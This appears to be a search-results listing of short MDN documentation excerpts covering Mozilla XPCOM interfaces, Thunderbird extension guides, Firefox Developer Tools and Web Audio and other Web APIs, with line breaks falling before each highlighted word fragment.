freeze(this.deferreddone); this.promisedone = this.deferreddone.promise; } tracinglistener.prototype = { ondataavailable: function(arequest, acontext, ainputstream, aoffset, acount) { var istream = new binaryinputstream(ainputstream) // binaryainputstream var sstream = new storagestream(8192, acount, null); // storagestream // not sure why its 8192 but thats how eveyrone is doing it, we should...
nsIURIFixup
inherits
from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/docshell/urifixup;1 as a service: var urifixup = components.classes["@mozilla.org/docshell/urifixup;1"] .createinstance(components.interfaces.nsiurifixup); method overview nsiuri createexposableuri(in nsiuri auri); nsiuri createfixupuri(in autf8string auritext, in unsigned long afixupflags); nsiuri keywordtouri(in autf8string akeyword); nsiurifixupinfo getfixupuriinfo(in autf8string auritext, in unsigned long afixupflags); constants constant value description ...
... fixup_flags_make_alternate_uri 2 tell the fixup to make an alternate uri
from the input uri, for example to turn foo into www.foo.com.
nsIURIFixupInfo
inherits
from: nsisupports last changed in gecko 1.7 attributes attribute type description consumer nsisupports consumer that asked for the fixed up uri.
... fixupchangedprotocol boolean if we changed the protocol; instead of using one raw
from the input.
nsIURLFormatter
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) variable names can contain 'a-z' letters and '_' characters.
...astring formaturlpref( in astring apref ); parameters apref a string representing the name of the preference
from which to fetch the url to format.
nsIUpdateItem
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is obsolete; instead of using the extension manager, you should use the addon manager.
... name the item's name downloadurl the url
from which the item is to be downloaded.
nsIUpdatePatch
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsidomelement serialize(in nsidomdocument updates); attributes attribute type description finalurl astring the final url this patch was being downloaded
from.
... url astring the url
from which the patch was downloaded.
nsIWebBrowserChrome
inherits
from: nsisupports last changed in gecko 0.9.6 method overview void destroybrowserwindow(); void exitmodaleventloop(in nsresult astatus); boolean iswindowmodal(); void setstatus(in unsigned long statustype, in wstring status); void showasmodal(); void sizebrowserto(in long acx, in long acy); attributes attribute type description chromeflags unsigned long the chrome flags for this browser chrome.
...void exitmodaleventloop( in nsresult astatus ); parameters astatus the result code to return
from showasmodal().
nsIWebBrowserChromeFocus
it represents the focus up-calls
from mozilla to the embedding chrome.
... inherits
from: nsisupports last changed in gecko 1.7 method overview void focusnextelement(); void focusprevelement(); methods focusnextelement() set the focus at the next focusable element in the chrome.
nsIWebPageDescriptor
docshell/base/nsiwebpagedescriptor.idlscriptable this interface allows content being displayed in one window to be loaded into another window without refetching it
from the network.
... inherits
from: nsisupports last changed in gecko 1.7 method overview void loadpage(in nsisupports apagedescriptor, in unsigned long adisplaytype); attributes attribute type description currentdescriptor nsisupports retrieves the page descriptor for the current document.
nsIWebappsSupport
1.0 66 introduced gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void installapplication(in wstring title, in wstring uri, in wstring iconuri, in wstring icondata); boolean isapplicationinstalled(in wstring uri); methods installapplication() this method installs a web application.
... void installapplication( in wstring title, in wstring uri, in wstring iconuri, in wstring icondata ); parameters title the user-
friendly name of the application.
nsIWifiAccessPoint
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description mac acstring the wifi access point's mac address.
...note: this string consists of the bytes as received
from the network and may contain nulls and other unprintable characters; if you need to display the ssid, use the ssid attribute instead.
nsIWinAppHelper
toolkit/xre/nsiwinapphelper.idlscriptable used on windows only to do some work
from a special process that gets created with elevated privileges.
... 1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: @mozilla.org/xre/app-info;1.
nsIWinTaskbar
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) starting with windows 7, applications gain some control over their appearance in the taskbar.
...nsitaskbartabpreview createtaskbartabpreview( in nsidocshell shell, in nsitaskbarpreviewcontroller controller ); parameters shell an nsidocshell object representing the top-level window
from which to create the preview.
nsIWindowCreator
inherits
from: nsisupports last changed in gecko 0.9.6 method overview nsiwebbrowserchrome createchromewindow(in nsiwebbrowserchrome parent, in pruint32 chromeflags); methods createchromewindow() create a new window.
...chromeflags chrome features
from nsiwebbrowserchrome.
nsIWorkerFactory
dom/interfaces/threads/nsidomworkers.idlscriptable creates and returns a new worker 1.0 66 introduced gecko 2.0 obsolete gecko 8.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface was removed in gecko 8.0.
... you don't need to use it anymore to create workers
from chrome.
nsIXPCException
inherits
from: nsiexception last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void initialize(in string amessage, in nsresult aresult, in string aname, in nsistack
frame alocation, in nsisupports adata, in nsiexception ainner); xpcexjsval stealjsval(); native code only!
... methods initialize() void initialize( in string amessage, in nsresult aresult, in string aname, in nsistack
frame alocation, in nsisupports adata, in nsiexception ainner ); parameters amessage aresult aname alocation adata ainner native code only!stealjsval xpcexjsval stealjsval(); parameters none.
nsIXULBrowserWindow
xpfe/appshell/public/nsixulbrowserwindow.idlscriptable provides methods that may be called
from the internals of the browser area to tell the containing xul window to update its user interface.
... inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the xulbrowserwindow attribute exists on the nsixulwindow interface although both firefox and seamonkey also store their nsixulbrowserwindow reference in the global xulbrowserwindow object accessible
from javascript code.
NS_CStringCopy
« xpcom api reference summary the ns_cstringcopy function copies the value
from one nsacstring instance to another.
... example /* attribute acstring value; */ ns_imethodimp mycomponent::getvalue(nsacstring& avalue) { return ns_cstringcopy(avalue, mvalue); } ns_imethodimp mycomponent::setvalue(const nsacstring& avalue) { return ns_cstringcopy(mvalue, avalue); } history this function was
frozen in mozilla 1.7.
NS_CStringCutData
pass pr_uint32_max to specify the length
from acutstart to the end of the string.
... example code nscstringcontainer str; ns_cstringcontainerinit(str); ns_cstringsetdata(str, "hello world"); // remove " world" portion of string ns_cstringcutdata(str, 5, pr_uint32_max); const char* data; ns_cstringgetdata(str, &data); printf("%s\n", data); // prints out "hello" ns_cstringcontainerfinish(str); history this function was
frozen for mozilla 1.7.
NS_StringCopy
removed by bug 1332639 « xpcom api reference summary the ns_stringcopy function copies the value
from one nsastring instance to another.
... example code /* attribute acstring value; */ ns_imethodimp mycomponent::getvalue(nsastring& avalue) { return ns_stringcopy(avalue, mvalue); } ns_imethodimp mycomponent::setvalue(const nsastring& avalue) { return ns_stringcopy(mvalue, avalue); } history this function was
frozen for mozilla 1.7.
NS_StringCutData
pass pr_uint32_max to specify the length
from acutstart to the end of the string.
... example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello world"); // remove " world" portion of string ns_stringcutdata(str, 5, pr_uint32_max); const prunichar* data; ns_stringgetdata(str, &data); // data now ponts to the string: l"hello" ns_stringcontainerfinish(str); history this function was
frozen for mozilla 1.7.
NS_UTF16ToCString
« xpcom api reference summary the ns_utf16tocstring function converts the value of a nsastring instance
from utf-16 to the specified multi-byte encoding and stores the result in a nsacstring instance.
... example code // convert utf-16 (or ucs-2) string to utf-8 void copyutf16toutf8(const nsastring& in, nsacstring& out) { ns_utf16tocstring(in, ns_cstring_encoding_utf8, out); } history this function was
frozen for mozilla 1.7.
Warnings
when you do not use an index, all the results
from the query have to first be fetched, and then those results are sorted.
... however, when the index is used, the data can be obtained row by row
from the database, which will be much faster.
Using nsCOMPtr
after you've been using nscomptrs for a while, and you reach unfamiliar territory, or run into compiler errors; you may want to return to this document to get help
from the reference manual or the faq.
... contents status, recent changes, and plans recent changes to nscomptr getting started guide introduction using nscomptr summary reference manual the basics initialization and assignment using an nscomptr<t> as a t* efficiency and correctness compiler annoyances
frequently asked questions buildtime errors runtime errors how do i...
XPCOM tasks
5.1 3rd party code that doesn't use any services
from our tree should be below xpcom; particularly, code xpcom could exploit, e.g., expat berkeley db changes to apis, functionality, and implementations the following items are listed (very) roughly in their order of importance, i.e., fixing observers is the first thing i want to do.
... p2 our various enumerator classes should be made compatible with the enumerators
from the standard c library, so that we can apply the standard algorithms to our containers.
pyxpidl
the newer utility has the advantage of not needing any code to be compiled in order to use it, and let us remove a bunch of old code
from the tree.
...unlike xpidl, which combined all the functions into a single utility, pyxpidl is comprised of two utilities: header.py, which generates c++ headers
from idl, and typelib.py, which generates xpt files.
XSLT 2.0
for developers saxon-ce a javascript api is provided for initiating an xslt 2.0 transform
from a web page.
... error and diagnostics output
from saxon-ce can be reviewed in the firefox developer console or in firebug.
Testing Mozilla code
the first part will focus on the modern and robust way of static-analysis and the second part will present the build-time static-analysis.debugging mozilla with valgrindthis page describes how to use valgrind (specifically, its memcheck tool) to find memory errors.firefox and address sanitizeraddress sanitizer (asan) is a fast memory error detector that detects use-after-
free and out-of-bound bugs in c/c++ programs.
...in addition, the runtime part replaces the malloc and
free functions to check dynamically allocated memory.
Buddy icons in mail
it was imported
from mozilla.org and last updated in 2003.
... so if you use nim, and you use buddy icons, this will just work for
free.
MailNews fakeserver
the server itself is found in mailnews/test/fakeserver/maild.js and was largely based off of the httpd fakeserver
from network code.
... the transaction is an object with two properties: us, and them; us is an array of responses we sent, them an array of commands received resettest none nothing prepares the server for the next test without closing the connection start port number nothing starts the server listening stop none nothing stops the server and closes the connection using fakeserver in qa testing debug output
from fakeservers it is possible to get the fakeservers to dump to the console the commands they have sent and received.
Mailbox
the mailbox protocol is used to read messages
from a local folder berkeley mailbox.
...this may seem like a lot of in
frastructure just to read messages
from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running urls, getting onstart/stoprunningurl notifications when the url starts/stops, etc.
Building a Thunderbird extension 1: introduction
hrome manifest (list of packages and overlays) xul (the xml user interface language that is used to modify the thunderbird user interface) adding javascript (explains how to add some simple javascript to your thunderbird extension) installing locally (enabling the extension on your local thunderbird instance) packaging (making a distribution package that contains the extension) distributing (
from your own site or
from http://addons.mozilla.org/) this tutorial is compatible with thunderbird versions 2,3 and 5.
... all thunderbird builds are available
from the ftp site.
Building a Thunderbird extension 5: XUL
a xul overlay is a .xul file that specifies xul
fragments to insert at specific merge points within a "master" document.
... these
fragments can specify widgets to be inserted, removed or modified.
Finding the code for a feature
frequently you are trying to figure out the code that implements a specific feature of the user interface.
...trying to figure that out
from the code, i see that is just a clever way to do the addkeywordstomessages or removekeywords
frommessages method call.
Filter Incoming Mail
the, you've got components.interfaces.nsimsgdbhdr
from where you can modify the mail.
... by example, to modify the mail subject : var newmaillistener = { msgadded: function(amsghdr) { if( !amsghdr.isread ) { // here we are, a new mail has popped // let get a javascript string object
from the subject property // querying mime conversion interface var mimeconvert = components.classes["@mozilla.org/messenger/mimeconverter;1"] .getservice(components.interfaces.nsimimeconverter); var subject = mimeconvert.decodemimeheader(amsghdr.subject, null, false, true); // here with have a string to modify with javascript.
Theme Packaging
--> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>0.9</em:maxversion> </description> </em:targetapplication> <!--
front end metadata --> <em:name>new theme 1</em:name> <em:description>a test theme for thunderbird</em:description> <em:creator>ben goodger</em:creator> <em:contributor>john doe</em:contributor> <em:homepageurl>http://www.bengoodger.com/</em:homepageurl> <!--
front end integration hooks (used by theme manager)--> <em:internalname>newtheme1</em:internalname> </descripti...
...note that this page is included
from the pages listed below.
Using tab-modal prompts
using tab-modal prompts
from chrome code currently, nsiprompt defaults to using window-modal prompts.
...
from then on, you can use the nsiprompt object, prompt, as usual.
Memory Management
when binary code hands back a pointer/handle to allocated memory, the js code must make sure to
free that memory with the correct allocator.
... it is usually best to expose a
freeing function
from the binary.
FunctionType
properties inherited
from ctype these properties are available on all ctype objects.
... method overview methods inherited
from ctype ctype array([n]) string tosource() string tostring() functiontype cdata functiontype cdata cannot be constructed.
ctypes
this is different
from uint16_t in that c jschar values are automatically converted into 1-character javascript strings.
...the library is loaded
from the specified full path, or, if a partial path is specified,
from the appropriate library directory based on the platform on which the application is running.
Plugins
also
from firefox 55 onwards, flash and other plugins can no longer be loaded
from any url scheme except for http:// and https:// (bug 1335475).
... see also flash can now be loaded only
from http/https for more useful information.
Break on DOM mutation - Firefox Developer Tools
that means, the script execution is stopped whenever a child node or descendant node deeper in the dom structure is added to or removed
from the element the option is set on.
... that means, the script execution is stopped whenever an attribute is added to or removed
from the element the option is set on or the value of one of its attributes is changed.
Ignore a source - Firefox Developer Tools
however, a library’s abstraction leaks during debugging sessions when you are forced to step through its stack
frames in order to reach your own code.
... when “pause on exceptions” is enabled in the debugger settings, the debugger won’t pause when an exception is thrown in the ignored source; instead it waits until (and if) the stack unwinds to a
frame in a source that isn’t ignored.
Eyedropper - Firefox Developer Tools
underneath the magnifying glass it shows the color value for the current pixel using whichever scheme you've selected in settings > inspector > default color unit: you can use it in one of two ways: to select a color
from the page and copy it to the clipboard to change a color value in the inspector's rules view to a color you've selected
from the page copying a color to the clipboard open the eyedropper in one of these two ways: select "eyedropper" under the "web developer" menu open the page inspector tab and click the eyedropper button in its toolbar as you move the mouse around the page you'll see ...
...
from firefox 31, the popup contains an eyedropper icon: click this icon to activate the eyedropper.
Monster example - Firefox Developer Tools
"abcdefghijklmnopqrstuvwxyz"; var namelength = randomint(min_name_length, max_name_length); var name = ""; for (var j = 0; j < namelength; j++) { name += chars[randomint(0, chars.length-1)]; } return name; } this.name = randomname(); this.eyecount = randomint(0, 25); this.tentaclecount = randomint(0, 250); } function makemonsters() { var monsters = { "
friendly": [], "fierce": [], "undecided": [] }; for (var i = 0; i < monster_count; i++) { monsters.
friendly.push(new monster()); } for (var i = 0; i < monster_count; i++) { monsters.fierce.push(new monster()); } for (var i = 0; i < monster_count; i++) { monsters.undecided.push(new monster()); } console.log(monsters); } var makemonstersbutton = docume...
...specifically: the code creates an object with three properties, each an array: one for fierce monsters one for
friendly monsters one for monsters who haven't decided yet.
Edit CSS filters - Firefox Developer Tools
you can also add new effects by selecting an effect
from the dropdown list at the bottom of the dialog.
... saving filter presets
from firefox 42 onwards, you can also add filters to a list of presets.
Edit Shape Paths in CSS - Firefox Developer Tools
to understand the margin box, and other boxes used by css shapes see our guide to shapes
from box values.
... inset() if the value of shape-outside is inset() then you are using the inset basic shape, which enables the creation of offset values pulling the content in
from the margin box.
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
note: the examples shown in the screenshots appearing in this article are jen simmons' futurismo and variations on a grid experiments, and a live named grid area example
from rachel andrew.
... overlay grid each grid present on a page has an entry in the "overlay grid" section: each entry consists of (
from left to right): a checkbox allowing you to toggle the grid overlay for that grid on and off.
Animation inspector example: Web Animations API - Firefox Developer Tools
0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } #icon { width: 50px; height: 50px; filter: grayscale(100%); } #note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; } javascript content var iconkey
frameset = [ { transform: 'scale(1)', filter: 'grayscale(100%)'}, { filter: 'grayscale(100%)', offset: 0.333}, { transform: 'scale(1.5)', offset: 0.666 }, { transform: 'scale(1.5)', filter: 'grayscale(0%)'} ]; var notekey
frameset = [ { opacity: '0', width: '0'}, { opacity: '1', width: '300px'} ]; var iconkey
frameoptions = { duration: 750, fill: 'forwards', easing: 'ease-in', e...
...nddelay: 100 } var notekey
frameoptions = { duration: 500, fill: 'forwards', easing: 'ease-out', delay: 150 } var icon = document.getelementbyid("icon"); var note = document.getelementbyid("note"); var iconanimation = icon.animate(iconkey
frameset, iconkey
frameoptions); var noteanimation = note.animate(notekey
frameset, notekey
frameoptions); iconanimation.pause(); noteanimation.pause(); var firsttime = true; function animatechannel(e) { if (e.button != 0) { return; } if (e.target.id != "icon") { return; } if (firsttime) { iconanimation.play(); noteanimation.play(); firsttime = false; } else { iconanimation.reverse(); noteanimation.reverse(); } } document.addeventlistener("click", animatechannel); ...
Page inspector keyboard shortcuts - Firefox Developer Tools
ift + page up decrement selected value by 100 shift + page down shift + page down shift + page down increment selected value by 10 shift + up arrow shift + up arrow shift + up arrow decrement selected value by 10 shift + down arrow shift + down arrow shift + down arrow increment selected value by 0.1 alt + up arrow (ctrl + up arrow
from firefox 60 onwards.) alt + up arrow alt + up arrow (ctrl + up arrow
from firefox 60 onwards.) decrement selected value by 0.1 alt + down arrow (ctrl + down arrow
from firefox 60 onwards).
... alt + down arrow alt + down arrow (ctrl + down arrow
from firefox 60 onwards).
Page Inspector - Firefox Developer Tools
you can split the rules view out into its own pane, separate
from the other tabs on the css pane — this is called 3-pane mode.
...ctor, see the following how to guides: open the inspector examine and edit html examine and edit the box model inspect and select colors reposition elements in the page edit fonts visualize transforms use the inspector api select an element examine and edit css examine event listeners work with animations edit css filters edit css shapes view background images use the inspector
from the web console examine css grid layouts examine css flexbox layouts reference keyboard shortcuts settings ...
How to - Firefox Developer Tools
open the performance tools to open the performance tools: press shift + f5 select "performance"
from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on os x) select "performance"
from tools button, in the toolbar, if you have one: record a profile to start a new recording, press the stopwatch icon in the recordings pane.
... to stop, press it again: you can also start and stop recording
from the web console, using console.profile() and console.profileend().
Debugging Firefox Desktop - Firefox Developer Tools
run the debuggee
from the command line, passing it the --start-debugger-server option: /path/to/firefox --start-debugger-server passed with no arguments, --start-debugger-server makes the debugger server listen on port 6000.
...if you want to debug a firefox instance
from an external machine, you can change this option, but only do this on a trusted network or set a strong firewall rule to lock down which machines can access it.
Taking screenshots - Firefox Developer Tools
the screenshot is saved to the browser's "downloads" directory: copying screenshots to the clipboard
from firefox 53, you can also copy the screenshot to the clipboard.
...small portions of this section have been borrowed
from his firefox’s :screenshot command article.
View Source - Firefox Developer Tools
view source features view source has three additional features, which can be accessed
from the context menu in the view source tab: go to line scrolls to the specified line.
... to access go to line
from the keyboard, press control + option + l on macos, or alt + shift + l on windows or linux.
AbortSignal - Web APIs
properties the abortsignal interface also inherits properties
from its parent interface, eventtarget.
... methods the abortsignal interface inherits methods
from its parent interface, eventtarget.
AbstractWorker - Web APIs
var myworker = new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value, second.value]); console.log('message posted to worker'); } the worker's code is loaded
from the file "worker.js".
... living standard no change
from unknown.
Animation() - Web APIs
although in the future other effects such as sequenceeffects or groupeffects might be possible, the only kind of effect currently available is key
frameeffect.
... examples in the follow the white rabbit example, the animation() constructor is used to create an animation for the rabbitdownkey
frames using the document's timeline: var rabbitdownanimation = new animation(rabbitdownkey
frames, document.timeline); specifications specification status comment web animationsthe definition of 'animation()' in that specification.
Animation.currentTime - Web APIs
examples in the drink me/eat me game, alice's height is animated so it can go
from small to large or large to small.
... at the start of the game, her height is set between the two extremes by setting her animation's currenttime to half her key
frameeffect's duration: alicechange.currenttime = alicechange.effect.timing.duration / 2; a more generic means of seeking to the 50% mark of an animation would be: animation.currenttime = animation.effect.getcomputedtiming().delay + animation.effect.getcomputedtiming().activeduration / 2; reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.currenttime might get rounded depending on browser settings.
Animation.updatePlaybackRate() - Web APIs
in such a case, setting the playbackrate on the animation directly may cause the animation's playback position to jump since its playback position on the main thread may have drifted
from the playback position where it is currently running.
... examples a speed selector component would benefit
from smooth updating of updateplaybackrate(), as demonstrated below: speedselector.addeventlistener('input', evt => { cartoon.updateplaybackrate(parsefloat(evt.target.value)); cartoon.ready.then(() => { console.log(`playback rate set to ${cartoon.playbackrate}`); }); }); specifications specification status comment web animationsthe definition of 'updateplaybackr...
AnimationEvent.initAnimationEvent() - Web APIs
note: during the standardization process, this method was removed
from the specification.
... it has been deprecated and is in the progress of being removed
from most implementations.
AnimationEvent - Web APIs
properties also inherits properties
from its parent event.
... methods also inherits methods
from its parent event.
Attr.namespaceURI - Web APIs
the namespace uri of an attribute is
frozen at the attribute creation time.
... per the namespaces in xml specification, an attribute does not inherit its namespace
from the element it is attached to.
AudioBuffer.duration - Web APIs
syntax var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); myarraybuffer.duration; value a double.
... example // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var
framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i <
framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.duration); } specification spec...
AudioBuffer.numberOfChannels - Web APIs
syntax var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); myarraybuffer.numberofchannels; value an integer.
... example // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var
framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i <
framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.numberofchannels); } specification ...
AudioBuffer.sampleRate - Web APIs
syntax var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); myarraybuffer.samplerate; value a floating-point value indicating the current sample rate of the buffers data, in samples per second.
... example // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var
framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i <
framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.samplerate); } specification spe...
AudioContext.baseLatency - Web APIs
the baselatency read-only property of the audiocontext interface returns a double that represents the number of seconds of processing latency incurred by the audiocontext passing an audio buffer
from the audiodestinationnode — i.e.
... browser compatibility the compatibility table on this page is generated
from structured data.
AudioContext.close() - Web APIs
this function does not automatically release all audiocontext-created objects, unless other references have been released as well; however, it will forcibly release any system audio resources that might prevent additional audiocontexts
from being created and used, suspend the progression of audio time in the audio context, and stop processing audio data.
... example the following snippet is taken
from our audiocontext states demo (see it running live.) when the stop button is clicked, close() is called.
AudioContext.createJavaScriptNode() - Web APIs
syntax var jsnode = audioctx.createjavascriptnode(buffersize, numinputchannels, numoutputchannels); parameters buffersize the buffer size must be in units of sample
frames, i.e., one of: 256, 512, 1024, 2048, 4096, 8192, or 16384.
... it controls the
frequency of callbacks asking for a buffer refill.
AudioContextOptions - Web APIs
properties latencyhint optional the type of playback that the context will be used for, as a value
from the audiocontextlatencycategory enum or a double-precision floating-point value indicating the preferred maximum latency of the context in seconds.
... constants standard values for latencyhint the latencyhint property can be number specifying a preferred maximum latency in seconds or a string
from the audiocontextlatencycategory enumerated string, which selects a standard value for a given type of audio usage: value description "balanced" the user agent should balance audio output latency and power consumption when selecting a latency value.
AudioDestinationNode - Web APIs
number of inputs 1 number of outputs 0 channel count mode "explicit" channel count 2 channel interpretation "speakers" properties inherits properties
from its parent, audionode.
... methods no specific method; inherits methods
from its parent, audionode.
AudioListener.speedOfSound - Web APIs
the speedofsound property's default value is 343.3 m/s and is used to calculate the doppler shift appropriate for the speed the panner is travelling at (as defined by pannernode.setvelocity.) note: bear in mind that no propagation delay is automatically applied to a sound far
from the listener.
...you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away
from a music player such as a stereo.
AudioParam.value - Web APIs
as a result, the value you read
from the value property may not always exactly equal what you set it to.
...one solution is to use the math.
fround() method, which returns the single-precision value equivalent to the 64-bit javascript value specified—when setting value, like this: const source = new audiobuffersourcenode(...); const rate = math.
fround(5.3); source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); in this case, the log output will be true.
AudioProcessingEvent - Web APIs
properties the list below includes the properties inherited
from its parent, event.
...for each channel and each sample
frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
AudioScheduledSourceNode - Web APIs
properties inherits properties
from its parent interface, audionode.
... methods inherits methods
from its parent interface, audionode, and adds the following methods: start() schedules the node to begin playing the constant sound at the specified time.
AudioWorkletGlobalScope.registerProcessor - Web APIs
the registerprocessor method of the audioworkletglobalscope interface registers a class constructor derived
from audioworkletprocessor interface under a specified name.
... processorctor the constructor of a class derived
from audioworkletprocessor.
AudioWorkletNode.port - Web APIs
examples to demonstrate bidirectional communication capabilities, we'll create an audioworkletprocessor, which will output silence and respond to ping requests
from its audioworkletnode.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('ping-pong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') // send the message containing 'ping' string // to the audioworkletprocessor
from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) pingpongnode.connect(audiocontext.destination) this will output "ping" and "pong" strings to the console every second.
AudioWorkletProcessor.port - Web APIs
examples to demonstrate bidirectional communication capabilities, we'll create an audioworkletprocessor, which will output silence and respond to ping requests
from its audioworkletnode.
... const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('ping-pong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') // send the message containing 'ping' string // to the audioworkletprocessor
from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) pingpongnode.connect(audiocontext.destination) this will output "ping" and "pong" strings to the console every second.
AuthenticatorAssertionResponse.authenticatorData - Web APIs
the authenticatordata property of the authenticatorassertionresponse interface returns an arraybuffer containing information
from the authenticator such as the relying party id hash (rpidhash), a signature counter, test of user presence, user verification flags, and any extensions processed by the authenticator.
... signcount (4 bytes) - a signature count
from the authenticator.
BaseAudioContext.createBufferSource() - Web APIs
var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var button = document.queryselector('button'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var
framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2,
framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanne...
...ldata(channel); for (var i = 0; i <
framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
BaseAudioContext.createChannelMerger() - Web APIs
the createchannelmerger() method of the baseaudiocontext interface creates a channelmergernode, which combines channels
from multiple audio streams into a single audio stream.
...to use them, you need to use the second and third parameters of the audionode.connect(audionode) method, which allow you to specify both the index of the channel to connect
from and the index of the channel to connect to.
BaseAudioContext.createPeriodicWave() - Web APIs
you can think of it as the result of a fourier transform, where you get
frequency domain values
from time domain value.
... here, with createperiodicwave(), you specify the
frequencies, and the browser performs an inverse fourier transform to get a time domain buffer for the
frequency of the oscillator.
BatteryManager - Web APIs
methods inherited
from eventtarget: eventtarget.addeventlistener() registers an event handler of a specific event type on the eventtarget.
... eventtarget.removeeventlistener() removes an event listener
from the eventtarget.
BiquadFilterNode.detune - Web APIs
the detune property of the biquadfilternode interface is an a-rate audioparam representing detuning of the
frequency in cents.
...; var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.
frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.detune.value = 100; specifications specification status comment web audio apithe definition of 'detune' in that specification.
BlobEvent - Web APIs
properties inherits properties
from its parent event.
... methods no specific method; inherits methods
from its parent event.
Bluetooth - Web APIs
referringdevice; promise<sequence<bluetoothdevice>> getdevices(); promise<bluetoothdevice> requestdevice(optional requestdeviceoptions options = {}); }; bluetooth includes bluetoothdeviceeventhandlers; bluetooth includes characteristiceventhandlers; bluetooth includes serviceeventhandlers; properties inherits properties
from its parent eventtarget.
... bluetooth.referringdevice read only returns a reference to the device, if any,
from which the user opened the current page.
BluetoothDevice - Web APIs
gatt; readonly attribute
